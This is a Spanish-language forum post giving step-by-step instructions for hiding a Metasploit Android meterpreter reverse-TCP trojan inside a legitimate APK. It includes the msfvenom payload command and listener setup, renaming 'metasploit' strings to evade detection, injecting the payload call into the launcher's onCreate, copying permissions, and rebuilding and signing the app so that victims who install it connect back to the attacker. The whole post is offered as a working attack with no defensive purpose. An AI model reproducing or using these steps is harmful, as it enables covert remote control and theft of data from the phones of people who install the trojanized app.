Ocultar troyano en apk

mario.hn

Miembro
22 Jul 2019
15
10
Nota: todos los comandos están puestos de manera que los archivos a manejar se encuentren en el directorio de trabajo (root).

1. Crear la apk mala usando:

msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=PUERTO -o NOMBREAPK.apk

2. Poner un terminal a escuchar:

set payload android/meterpreter/reverse_tcp
set LPORT IP
set LPORT PUERTO
exploit


Una vez hecho esto, habrá que descargar la apk a la que queremos meterle el troyano, y ejecutar lo siguiente tanto para esta como para la generada:

apktool d -f NOMBREAPK.apk

Se crearán 2 directorios, cada uno con la apk en cuestión descompilada.

982


983



El siguiente paso es opcional, en el sentido de que no estoy seguro si realmente influye a la hora de detectarlo.
Básicamente se busca en todos los ficheros la palabra "metasploit" y se sustituye por otra de vuestra elección (por lo visto es detectable si no se hace). Entramos en la siguiente ruta, dentro de la apk maliciosa:

cd DIRECTORIO_APK_MALICIOSA/smali/com/metasploit/stage/

O navegando con el explorador si es más comodo.
Se ejecuta el comando:

sed -i 's/metasploit/legit/g' *

Esto cambia cualquier aparición de "metasploit" por "legit" (se puede poner cualquier cosa).

984



Después, vamos a esta ruta:

cd /root/DIRECTORIO_APK_LEGAL/smali/com/

Una vez dentro, creamos un directorio con el mismo nombre que la palabra que hayamos usado en el paso anterior. En caso de no haberlo hecho, éste será "metasploit".
Ejecutar lo siguiente (sustituyendo legit por la palabra que se haya elegido antes o metasploit)

mkdir legit
cd legit
mkdir stage
cp /root/DIRECTORIO_APK_MALICIOSA/smali/com/metasploit/stage/* stage/

Con este último comando copiamos todo el contenido de la carpeta stage de la apk creada dentro de la carpeta stage de la apk descargada.

987


986



Vamos a la ruta de la apk descargada y abrimos AndroidManifest.xml con gedit (también se puede hacer manualmente):

cd /root/DIRECTORIO_APK_LEGAL
gedit AndroidManifest.xml

Una vez abierto, localizamos estas líneas:
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>

Poco más arriba, aparecerá una etiqueta del tipo android:name:RUTA.FICHERO.
Accedemos al fichero especificado en esa ruta (cada punto separa un directorio):

cd smali/RUTA
gedit FICHERO.smali

Buscamos ";->onCreate(Landroid/os/Bundle;)V" y añadimos justo debajo: "invoke-static {p0}, Lcom/legit/stage/Payload;->start(Landroid/content/Context;)V" (SUSTITUYENDO NUEVAMENTE "legit" POR LO QUE TOQUE).

989


990



Vamos nuevamente al AndroidManifest.xml anterior y abrimos simultáneamente el AndroidManifest.xml de la apk maliciosa:

cd /root/DIRECTORIO_APK_LEGAL
gedit AndroidManifest.xml

En otro terminal:

cd /root/DIRECTORIO_APK_MALICIOSA
gedit AndroidManifest.xml

Ahora habrá que copiar todos los permisos del xml de la apk maliciosa (en etiquetas <uses-permission android:name="android.permission.PERMISO"/> ) y añadirlos al xml de la apk descargada, a continuación de los permisos que ya requiere. HABRÁ QUE BORRAR LOS PERMISOS REPETIDOS.

Imagen1

Imagen2


Se vuelve a compilar la apk:

cd /root
apktool b DIRECTORIO_APK_LEGAL

Imagen


Por último sólo queda firmar la aplicación. Me limito a poner los comandos:

keytool -genkey -v -keystore ~/.android/debug.keystore -alias androiddebugkey -storepass android -keypass android -keyalg RSA -keysize 2048 -validity 10000 (aquí dais intro a cada pregunta y a la última poneis "y").
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore ~/.android/debug.keystore -storepass android -keypass android RUTA_APK_COMPILADA androiddebugkey

Sustituis RUTA_APK_COMPILADA por la apk que se ha generado usando apktool.

Imagen1

Imagen2


Ya solo queda instalar la apk y esperar a que conecte con el terminal a la escucha.
 
Arriba Pie